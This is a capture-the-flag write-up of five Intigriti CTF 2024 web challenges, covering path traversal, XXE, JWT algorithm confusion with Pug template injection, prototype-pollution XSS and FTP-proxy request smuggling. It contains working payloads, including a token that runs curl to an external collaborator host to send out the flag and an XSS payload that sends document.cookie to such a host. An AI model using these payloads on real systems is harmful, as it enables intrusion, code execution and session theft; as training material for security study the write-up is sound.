Intigriti CTF 2024 - WEB
Pizza Paradise
Solvers: 395
Author: CryptoCat
Description
Something weird going on at this pizza store!!
Solution
Looking around does not have any interesting things, let’s check the robots.txt
file.
1
2
3
User-agent: *
Disallow: /secret_172346606e1d24062e891d537e917a90.html
Disallow: /assets/
Let access the /secret_172346606e1d24062e891d537e917a90.html
page.
Check the source code of the page.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Top Secret Government Access</title>
<link
href="https://fonts.googleapis.com/css2?family=Orbitron&display=swap"
rel="stylesheet"
/>
<link rel="stylesheet" href="/assets/css/secret-theme.css" />
<script src="/assets/js/auth.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script>
function hashPassword(password) {
return CryptoJS.SHA256(password).toString();
}
function validate() {
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
const credentials = getCredentials();
const passwordHash = hashPassword(password);
if (
username === credentials.username &&
passwordHash === credentials.passwordHash
) {
return true;
} else {
alert("Invalid credentials!");
return false;
}
}
</script>
</head>
<body>
<div class="container">
<h1>Top Secret Government Access</h1>
<form id="loginForm" action="login.php" method="POST" onsubmit="return validate();">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required /><br />
<label for="password">Password:</label>
<input type="password" id="password" name="password" required /><br />
<input type="submit" value="Login" />
</form>
</div>
</body>
</html>
We can see that the password is hashed using SHA256 and the credentials are stored in the /assets/js/auth.js
file.
1
2
3
4
5
6
7
8
9
const validUsername = "agent_1337";
const validPasswordHash = "91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac";
function getCredentials() {
return {
username: validUsername,
passwordHash: validPasswordHash,
};
}
Let crack the password hash using CrackStation.
We have the credentials, let’s login.
1
2
username: agent_1337
password: intel420
Login successfully and access to the portal and download the secret file.
When we click download the secret file, we get the GET request in burp suite.
1
GET /topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/assets/images/topsecret1.png
Let try /etc/passwd
.
1
GET /topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/etc/passwd
The response is File path not allowed!
. Try path traversal inside the /assets/images
directory.
1
GET /topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/assets/images/../../etc/passwd
It gets File not found!
so it works!
We will try to get the source code of this file topsecret_a9aedc6c39f654e55275ad8e65e316b3.php
.
1
GET /topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/assets/images/../../topsecret_a9aedc6c39f654e55275ad8e65e316b3.php
We can see the flag inside the source code.
1
$flag = 'INTIGRITI{70p_53cr37_m15510n_c0mpl373}';
Flag: INTIGRITI{70p_53cr37_m15510n_c0mpl373}
Biocorp
Solvers: 389
Author: CryptoCat
Description
BioCorp contacted us with some concerns about the security of their network. Specifically, they want to make sure they’ve decoupled any dangerous functionality from the public facing website. Could you give it a quick review?
Solution
We look around the website and find nothing interesting. Let’s check the source code which is provided by the challenge.
We notice some interesting things in the source code.
1
2
3
4
5
6
7
8
<?php
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];
if ($ip_address !== '80.187.61.102') {
echo "<h1>Access Denied</h1>";
echo "<p>You do not have permission to access this page.</p>";
exit;
}
We can see the ip for the vpn is 80.187.61.102
that can be access to other restricted pages. Let’s access that page with by adding the header X-Biocorp-Vpn: 80.187.61.102
to the request.
We are now access to the restricted page. Let’s continue to check the source code of the page.
1
2
3
4
5
6
7
8
9
10
11
12
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
$xml_data = file_get_contents('php://input');
$doc = new DOMDocument();
if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
echo "<h1>Invalid XML</h1>";
exit;
}
} else {
$xml_data = file_get_contents('data/reactor_data.xml');
$doc = new DOMDocument();
$doc->loadXML($xml_data, LIBXML_NOENT);
}
We can see that this page display the content of the reactor_data.xml
file. And it also accept the POST request with the content type is application/xml
.
This is the typical XML External Entity (XXE) attack. We can read the file from the local file system.
Let’s try to read the flag.txt
file.
1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<reactor>
<status>
<temperature>&xxe;</temperature>
<pressure>1337</pressure>
<control_rods>Lowered</control_rods>
</status>
</reactor>
We have the flag.
Flag: INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn}
Cat Club
Solvers: 130
Author: CryptoCat
Description
People are always complaining that there’s not enough cat pictures on the internet.. Something must be done!!
Solution
Create a new account and login to view more cat pictures.
Walk through and nothing special except the name of our account is reflected in the page title. Let’s check the source code from the challenge provider.
We can see the file sanitizer.js
is used to sanitize the username with regex that only allow the letters and numbers.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const { BadRequest } = require("http-errors");
function sanitizeUsername(username) {
const usernameRegex = /^[a-zA-Z0-9]+$/;
if (!usernameRegex.test(username)) {
throw new BadRequest("Username can only contain letters and numbers.");
}
return username;
}
module.exports = {
sanitizeUsername,
};
Let’s check the code where the username is reflected in the page title.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
router.get("/cats", getCurrentUser, (req, res) => {
if (!req.user) {
return res.redirect("/login?error=Please log in to view the cat gallery");
}
const templatePath = path.join(__dirname, "views", "cats.pug");
fs.readFile(templatePath, "utf8", (err, template) => {
if (err) {
return res.render("cats");
}
if (typeof req.user != "undefined") {
template = template.replace(/guest/g, req.user);
}
const html = pug.render(template, {
filename: templatePath,
user: req.user,
});
res.send(html);
});
});
Hmm, it seems like there is an interesting thing here.
1
2
3
4
const html = pug.render(template, {
filename: templatePath,
user: req.user,
});
The username is reflected by the pug template. It seems to be vulnerable to the SSTI attack. Let’s check SSTI HackTricks. Check the pug template.
If now we test out the #{7*7}
to see if it works. It will not work because the username is sanitized by the sanitizer.js
file. Let’s check the middleware of getCurrentUser
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function getCurrentUser(req, res, next) {
const token = req.cookies.token;
if (token) {
verifyJWT(token)
.then((payload) => {
req.user = payload.username;
res.locals.user = req.user;
next();
})
.catch(() => {
req.user = null;
res.locals.user = null;
next();
});
} else {
req.user = null;
res.locals.user = null;
next();
}
}
We can see the token is verified by the verifyJWT
function. Let’s check it out.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const jwt = require("json-web-token");
const fs = require("fs");
const path = require("path");
const privateKey = fs.readFileSync(path.join(__dirname, "..", "private_key.pem"), "utf8");
const publicKey = fs.readFileSync(path.join(__dirname, "..", "public_key.pem"), "utf8");
function signJWT(payload) {
return new Promise((resolve, reject) => {
jwt.encode(privateKey, payload, "RS256", (err, token) => {
if (err) {
return reject(new Error("Error encoding token"));
}
resolve(token);
});
});
}
function verifyJWT(token) {
return new Promise((resolve, reject) => {
if (!token || typeof token !== "string" || token.split(".").length !== 3) {
return reject(new Error("Invalid token format"));
}
jwt.decode(publicKey, token, (err, payload, header) => {
if (err) {
return reject(new Error("Invalid or expired token"));
}
if (header.alg.toLowerCase() === "none") {
return reject(new Error("Algorithm 'none' is not allowed"));
}
resolve(payload);
});
});
}
module.exports = { signJWT, verifyJWT };
We can see that if the algorithm is none
, it will be rejected. What if we can make the algorithm confusion? Look through the internet and found out this site JWT Algorithm Confusion.
The reason we choose this CVE-2023-48238 is because the json-web-token
in the package.json
has 3.0.0 version. And the affected version is < 3.1.1 so we can exploit it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"name": "cat-club",
"version": "4.2.0",
"main": "app/app.js",
"scripts": {
"start": "node app/app.js"
},
"dependencies": {
"bcryptjs": "^2.4.3",
"cookie-parser": "^1.4.6",
"dotenv": "^16.4.5",
"pug": "^3.0.3",
"express": "^4.21.0",
"express-session": "^1.18.0",
"json-web-token": "~3.0.0",
"pg": "^8.12.0",
"sequelize": "^6.37.3"
},
"devDependencies": {
"nodemon": "^3.1.4"
},
"engines": {
"node": ""
},
"license": "MIT",
"keywords": [],
"author": "",
"description": ""
}
We can also get the public key from /jwks.json
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
router.get("/jwks.json", async (req, res) => {
try {
const publicKey = await fsPromises.readFile(path.join(__dirname, "..", "public_key.pem"), "utf8");
const publicKeyObj = crypto.createPublicKey(publicKey);
const publicKeyDetails = publicKeyObj.export({ format: "jwk" });
const jwk = {
kty: "RSA",
n: base64urlEncode(Buffer.from(publicKeyDetails.n, "base64")),
e: base64urlEncode(Buffer.from(publicKeyDetails.e, "base64")),
alg: "RS256",
use: "sig",
};
res.json({ keys: [jwk] });
} catch (err) {
res.status(500).json({ message: "Error generating JWK" });
}
});
Let’s exploit
First, let’s create a script to extract and format the public key from the JWKS endpoint:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import base64
import json
jwks = {
"keys": [{
"kty": "RSA",
"n": "w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw",
"e": "AQAB",
"alg": "RS256",
"use": "sig"
}]
}
key_data = jwks["keys"][0]
n = int.from_bytes(base64.urlsafe_b64decode(key_data["n"] + "=="), byteorder="big")
e = int.from_bytes(base64.urlsafe_b64decode(key_data["e"] + "=="), byteorder="big")
public_key = rsa.RSAPublicNumbers(e, n).public_key()
pem_public_key = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
with open("public_key.pem", "wb") as f:
f.write(pem_public_key)
But the JWT is using RS256
alg so we need to change to HS256
and then inject payload into username.
Then use jwt_tool to create a malicious token with algorithm confusion:
1
python3 jwt_tool.py --exploit k -pk public_key.pem "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IiN7ZnVuY3Rpb24oKXtsb2NhbExvYWQ9Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDtzaD1sb2NhbExvYWQoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIHZoZzk4bWxlN21rcTQwZ3lvNHM3MzExZjI2OHh3cmtnLm9hc3RpZnkuY29tYGNhdCAvZmxhZypgJyl9KCl9In0.L8Z5MJNc5VTuBu9w5IFLnE6Slt5H5pJDCd_0xAgstz8"
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IiN7ZnVuY3Rpb24oKXtsb2NhbExvYWQ9Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDtzaD1sb2NhbExvYWQoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIDllb241MGlzNDBoNDFlZGNsaXBsMGZ5dHprNWJ0Nmh2Lm9hc3RpZnkuY29tL2BjYXQgL2ZsYWcqYCcpfSgpfSJ9.7UG2A-miTBExSXBWoIh1TPsJdkOIUV5pEoBCZCqIm5U
Check the burp collaborator and we got the flag.
Flag: INTIGRITI{h3y_y0u_c4n7_ch41n_7h053_vuln5_l1k3_7h47}
Work Break
Solvers: 26
Author: a_l & wubz
Description
Your work portal contains multiple web vulnerabilities. Can you identify them and extract the session cookie of a support team member?
Credits: Amit Laish & Dor Konis - GE Vernova
Solution
Just signup and login to the page.
Now we are in the profile of our account. We can edit to add or change “Name”, “Phone”, “Position”. It also display the performance chart, maybe to keep track of the employee’s performance.
There is also a chat feature that we can send message to get support.
View source of the profile page and we can see there are chat.js
and profile.js
file.
Let’s check the chat.js
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
document.addEventListener("DOMContentLoaded", () => {
const chatButton = document.getElementById("chatButton");
const chatWindow = document.getElementById("chatWindow");
const closeChat = document.getElementById("closeChat");
const chatForm = document.getElementById("chatForm");
const chatInput = document.getElementById("chatInput");
const chatMessages = document.getElementById("chatMessages");
chatButton.addEventListener("click", () => {
chatWindow.style.display = chatWindow.style.display === "none" ? "flex" : "none";
});
closeChat.addEventListener("click", () => {
chatWindow.style.display = "none";
});
chatForm.addEventListener("submit", async (e) => {
e.preventDefault();
const message = chatInput.value.trim();
if (message === "") return;
appendMessage("user", message);
chatInput.value = "";
try {
const response = await fetch("/api/support/chat", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ message }),
});
const data = await response.json();
if (Array.isArray(data.supportResponse)) {
data.supportResponse.forEach((msg) => {
appendMessage("support", msg);
});
} else {
appendMessage("support", data.supportResponse);
}
} catch (error) {
appendMessage("support", "An error occurred. Please try again later.");
}
});
const appendMessage = (sender, message) => {
const messageElement = document.createElement("div");
messageElement.classList.add("chat-message", sender);
const messageText = document.createElement("span");
messageText.classList.add("message-text");
messageText.textContent = message;
messageElement.appendChild(messageText);
chatMessages.appendChild(messageElement);
chatMessages.scrollTop = chatMessages.scrollHeight;
};
});
It seems like just a normal sent and show the message. Let’s check the profile.js
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
const getUserIdFromUrl = () => {
const path = window.location.pathname;
const segments = path.split("/");
return segments[segments.length - 1];
};
const setError = (error) => {
const errorText = document.getElementById("errorText");
errorText.innerText = error;
errorText.addEventListener("transitionend", () => {
errorText.innerText = "";
errorText.classList.remove("fade-out");
});
errorText.classList.add("fade-out");
};
let userTasks = [];
document.addEventListener("DOMContentLoaded", async function () {
const logoutButton = document.getElementById("logoutButton");
const performanceIframe = document.getElementById("performanceIframe");
const profileForm = document.getElementById("profileForm");
const editButton = document.getElementById("editButton");
const submitButton = document.getElementById("submitButton");
const emailField = document.getElementById("email");
const nameField = document.getElementById("name");
const phoneField = document.getElementById("phone");
const positionField = document.getElementById("position");
const userId = getUserIdFromUrl();
try {
const response = await fetch(`/api/user/profile/${userId}`);
const profileData = await response.json();
if (response.ok) {
const userSettings = Object.assign(
{ name: "", phone: "", position: "" },
profileData.assignedInfo
);
if (!profileData.ownProfile) {
editButton.style.display = "none";
} else {
editButton.style.display = "inline-block";
}
emailField.value = profileData.email;
nameField.value = userSettings.name;
phoneField.value = userSettings.phone;
positionField.value = userSettings.position;
userTasks = userSettings.tasks || [];
performanceIframe.addEventListener("load", () => {
performanceIframe.contentWindow.postMessage(userTasks, "*");
});
} else if (response.unauthorized) {
window.location.href = "/login";
} else {
setError(profileData.error);
}
} catch (error) {
console.log("Error fetching profile: " + error.message);
}
editButton.addEventListener("click", () => {
nameField.disabled = false;
phoneField.disabled = false;
positionField.disabled = false;
nameField.classList.add("editable");
phoneField.classList.add("editable");
positionField.classList.add("editable");
submitButton.style.display = "inline-block";
editButton.style.display = "none";
});
profileForm.addEventListener("submit", async (e) => {
e.preventDefault();
const updatedSettings = {
name: nameField.value,
phone: phoneField.value,
position: positionField.value,
};
try {
const response = await fetch("/api/user/settings", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(updatedSettings),
});
if (response.ok) {
alert("Profile updated successfully!");
nameField.disabled = true;
phoneField.disabled = true;
positionField.disabled = true;
nameField.classList.remove("editable");
phoneField.classList.remove("editable");
positionField.classList.remove("editable");
submitButton.style.display = "none";
editButton.style.display = "inline-block";
} else if (response.unauthorized) {
window.location.href = "/login";
} else {
const errorData = await response.json();
setError(errorData.error);
}
} catch (error) {
setError(error.message);
}
});
logoutButton.addEventListener("click", async function () {
try {
const response = await fetch("/api/auth/logout", {
method: "POST",
});
if (response.ok) {
window.location.href = "/login";
} else {
const errorData = await response.json();
console.log("Logout failed: " + errorData.message);
}
} catch (error) {
console.log("Error during logout: " + error.message);
}
});
});
window.onresize = () => performanceIframe.contentWindow.postMessage(userTasks, "*");
// Not fully implemented - total tasks
window.addEventListener(
"message",
(event) => {
if (event.source !== frames[0]) return;
document.getElementById(
"totalTasks"
).innerHTML = `<p>Total tasks completed: ${event.data.totalTasks}</p>`;
},
false
);
We found some interesting part in the code.
1
2
3
4
const userSettings = Object.assign(
{ name: "", phone: "", position: "" },
profileData.assignedInfo
);
- Object.assign() merges all properties from source into target.
- The
profileData.assignedInfo
is from the/api/user/profile/:id
endpoint. - There is no validation for the
profileData.assignedInfo
so we can inject thetasks
property.
Let’s update the profile and we can see the burp have POST request to /api/user/settings
endpoint.
Let’s test out simple prototype pollution if we can inject more properties.
1
2
3
4
5
6
{
"name":"Anon",
"phone":"0123456789",
"position":"pentest",
"tasks":"10"
}
It will be Not Allowed to Modify Tasks
.
So we need to use __proto__
to trigger prototype chain pollution.
Now we can inject more properties and curl to our burp collaborator to get the SID.
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"name":"Anon",
"phone":"0909099099",
"position":"<img src=x>",
"__proto__":{
"tasks":[
{
"date":"2024-11-20",
"tasksCompleted":"<img src=x onerror='window.parent.postMessage({\"totalTasks\":\"<img src=x onerror=fetch(`https://o9y20fd7zfcjwt8rgxk0vut8uz0qotci.oastify.com/`+document.cookie)>\"}, \"*\");'>"
}
]
}
}
The reason we use postMessage
instead of alert
is that in source code at chat.js
.
1
document.getElementById("totalTasks").innerHTML = `<p>Total tasks completed: ${event.data.totalTasks}</p>`;
- This code has event listener for message and render HTML. So using
alert
will just pop up the alert but not render the HTML. - When using
postMessage
, our payload will be rendered throughinnerHTML
and we can get the cookie from the response.
And also measure to set date to real time in order to avoid the date is not up to date.
Last thing is that why we need to use window.parent
:
- Context Hierarchy.
1 2 3
Parent Window (Main Page) | └── iframe (Performance Frame)
- Our payload is in the iframe.
- Need to send the message to the parent window to trigger the
innerHTML
to get the cookie.
- If we use
postMessage
for example:1
"tasksCompleted": "<img src=x onerror='postMessage({\"totalTasks\":\"...\"}, \"*\");'>"
- The message will be sent to the iframe itself.
- Not the parent window.
- Can not trigger the
innerHTML
to get the cookie.
- For
window.parent.postMessage
:- The message will be sent from the iframe to the parent window.
- Parent window will handle the message.
- Trigger the
innerHTML
to get the cookie.
Now when we sent the payload and reload the profile page, we can see there is appears:
1
2
Total tasks completed: error image
Tasks Completed Today: error image
Check the burp collaborator and we got the SID.
1
SID=a477a376-be80-4534-a0ae-4599b950a417
Finally, we let check the chatbot.
The chatbot says that give me the profile URL and it will check what is the profile. We will follow the instruction to see what happen.
1
https://workbreak-0.ctf.intigriti.io/profile/be6a3773-9a03-4f19-a3c0-518845b9ae52
We can see the response that “Logging into my staff account.” Let’s check out the burp collaborator again.
We got the flag.
Flag: INTIGRITI{5up3r_u53r_535510n}
Greetings
Solvers: 23
Author: abd0ghazy
Description
What could go wrong with a simple greetings service based in micro services?
Solution
Enter a random name and we can see nothing special.
Let’s check the source code from the challenge provider.
Here is the folder and files from the zip file.
Look around the source code and we can see two files that we need to check.
index.js
index.php
Let’s check index.js
first.
1
2
3
4
5
6
7
8
9
10
11
const express = require("express");
const app = express();
app.get("*", (req, res) => {
res.send(`Hello, ${req.path.replace(/^\/+|\/+$/g, "")}`);
});
app.listen(3000, () => {
console.log(`App listening on port 3000`);
});
- It’s a simple Express.js application that listens on port 3000.
- It will greet the user based on the path they entered.
- The path is sanitized by removing leading and trailing slashes.
Let’s check index.php
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
if(isset($_POST['hello']))
{
session_start();
$_SESSION = $_POST;
if(!empty($_SESSION['name']))
{
$name = $_SESSION['name'];
$protocol = (isset($_SESSION['protocol']) && !preg_match('/http|file/i', $_SESSION['protocol'])) ? $_SESSION['protocol'] : null;
$options = (isset($_SESSION['options']) && !preg_match('/http|file|\\\/i', $_SESSION['options'])) ? $_SESSION['options'] : null;
try {
if(isset($options) && isset($protocol))
{
$context = stream_context_create(json_decode($options, true));
$resp = @fopen("$protocol://127.0.0.1:3000/$name", 'r', false, $context);
}
else
{
$resp = @fopen("http://127.0.0.1:3000/$name", 'r', false);
}
if($resp)
{
$content = stream_get_contents($resp);
echo "<div class='greeting-output'>" . htmlspecialchars($content) . "</div>";
fclose($resp);
}
else
{
throw new Exception("Unable to connect to the service.");
}
} catch (Exception $e) {
error_log("Error: " . $e->getMessage());
echo "<div class='greeting-output error'>Something went wrong!</div>";
}
}
}
?>
Let’s dive into the code analysis.
1. About input handling and filtering:
1
$protocol = (isset($_SESSION['protocol']) && !preg_match('/http|file/i', $_SESSION['protocol'])) ? $_SESSION['protocol'] : null;
- Filters out
http/file
protocols using regex. - Filters out
\
using regex. - Both default to null if not set/valid.
So we can use ftp
protocol with proxy option to redirect requests.
2. About stream_context_create
:
1
$context = stream_context_create(json_decode($options, true));
- Parses the JSON options to create a context.
- Uses the parsed options to configure the stream context.
We can inject FTP proxy settings to redirect requests to internal web service.
3. For the HTTP request:
1
$resp = @fopen("$protocol://127.0.0.1:3000/$name", 'r', false, $context);
- The
name
parameter is used in the URL without proper sanitization.
We can inject HTTP headers through newlines and craft a custom HTTP requests.
Let’s exploit it. Here is our payload:
1
2
3
4
5
6
7
name=aaa HTTP/1.1
Host: a
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
password: admin
username=admin&hello=a&protocol=ftp://a/flag?&options={"ftp":{"proxy":"tcp://web:5000"}}
Let’s explain details:
1. For the request smuggling part:
1
2
3
4
5
aaa HTTP/1.1
Host: a
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
password: admin
- Creates new HTTP request inside name parameter
- Injects authentication headers
2. For the proxy settings:
1
protocol=ftp://a/flag?
- Uses FTP to bypass protocol filter
- Points to flag endpoint
3. About stream options:
1
2
3
4
5
{
"ftp":{
"proxy":"tcp://web:5000"
}
}
- Injects proxy settings to redirect requests to internal web service.
To know why we use this stream options is that:
From this FTP context options article
There is a statement that says:
1
2
3
FTP context options:
proxy string - Proxy FTP request via http proxy server
Example format: tcp://squid.example.com:8000
- Requires specific format for FTP context options
- Must use
ftp
as top-level key proxy
is the official option name- Must use
tcp://
format
Here is the workflow exploit:
- Send crafted POST request with payload
- Application processes FTP protocol and proxy settings
- Request gets redirected to internal service
- Smuggled HTTP headers bypass authentication
- Access flag endpoint through proxied connection
We got the flag.
Flag: INTIGRITI{5mu66l1n6_r3qu3575_w17h_f7p}